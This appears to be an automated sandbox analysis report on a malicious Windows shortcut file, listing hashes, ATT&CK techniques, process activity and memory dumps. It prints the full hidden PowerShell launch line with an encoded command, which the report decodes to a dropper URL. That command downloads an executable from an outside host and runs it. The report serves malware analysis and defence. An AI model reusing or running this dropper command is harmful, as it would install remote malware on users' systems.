cd1d05c4c3a0c3dca7393896d2bd39b9ec9f42314d88e69589714aaa2b5a4a03

Analysis

max time kernel
141s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 01:35

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General

Target

olineformN98898778.lnk
Size

1KB
MD5

04e0fea48dfed1e026c3104e0d6aff88
SHA1

e639b0f5a486d5dffef28373ca2df867f99e7fb2
SHA256

76a5649587a8874b1b1a5b3a37d281a4194e8a19947ca33f2d12d12d53509d39
SHA512

c9e5ff0b7d9ddd4b47a57438115acd29338bc5c1e98c9a5f3a61405de90a43eea60c3b1ecf0c25326d4a506b4ae2e2970e794a2f5e1c4d911e89aeed73dbeba4

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://gpower.5gbfree.com/pix.exe

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1272 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1272 powershell.exe
1272 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1272 powershell.exe
Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 224 wrote to memory of 1272 224 cmd.exe powershell.exe
PID 224 wrote to memory of 1272 224 cmd.exe powershell.exe

pid	process
1272	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	cmd.exe

pid	process
1272	powershell.exe
1272	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1272	powershell.exe

description	pid	process	target process
PID 224 wrote to memory of 1272	224	cmd.exe	powershell.exe
PID 224 wrote to memory of 1272	224	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\olineformN98898778.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABzAHQAYQByAHQAIAAiAHcAaQBuAGcAYQB0AC4AZQB4AGUAIgA7ACAAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAIABoAHQAdABwADoALwAvAGcAcABvAHcAZQByAC4ANQBnAGIAZgByAGUAZQAuAGMAbwBtAC8AcABpAHgALgBlAHgAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXAB3AGkAbgBnAGEAdAAuAGUAeABlACIAOwAgAHMAdABhAHIAdAAgACIAJABlAG4AdgA6AFQARQBNAFAAXAB3AGkAbgBnAGEAdAAuAGUAeABlACIA
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_45ktjxny.0mz.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1272-2-0x00007FFB278C3000-0x00007FFB278C5000-memory.dmp

Filesize
8KB

Download
memory/1272-3-0x000001D96BC80000-0x000001D96BCA2000-memory.dmp

Filesize
136KB

Download
memory/1272-13-0x00007FFB278C0000-0x00007FFB28381000-memory.dmp

Filesize
10.8MB

Download
memory/1272-14-0x00007FFB278C0000-0x00007FFB28381000-memory.dmp

Filesize
10.8MB

Download
memory/1272-15-0x000001D96BC50000-0x000001D96BC76000-memory.dmp

Filesize
152KB

Download
memory/1272-16-0x000001D96C120000-0x000001D96C134000-memory.dmp

Filesize
80KB

Download
memory/1272-17-0x00007FFB278C0000-0x00007FFB28381000-memory.dmp

Filesize
10.8MB

Download
memory/1272-18-0x00007FFB278C0000-0x00007FFB28381000-memory.dmp

Filesize
10.8MB

Download
memory/1272-21-0x00007FFB278C0000-0x00007FFB28381000-memory.dmp

Filesize
10.8MB

Download